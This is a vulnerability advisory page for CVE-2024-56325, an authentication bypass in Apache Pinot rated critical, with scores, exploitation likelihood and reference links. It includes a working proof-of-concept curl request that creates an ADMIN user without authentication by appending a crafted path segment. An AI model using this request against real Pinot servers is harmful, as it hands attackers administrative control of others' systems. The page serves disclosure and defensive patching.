CVE-2024-56325

Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required

Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.

Affected

Apache Software Foundation · Apache Pinot

CVSS v4.0 GitHub

9.3 CRITICALCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVSS v3.1 CNA

9.8 CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

80.21% chance of exploitation in the next 30 days, 100th percentile

Nuclei

critical · CWE-288

Published

2025-04-01

Updated

2025-10-27

Nuclei templates (1)

• projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-56325.yaml

Security advisories

• https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v
• http://www.openwall.com/lists/oss-security/2025/03/27/8
• advisories/GHSA-6jwp-4wvj-6597

References

• CVE Record
• NVD entry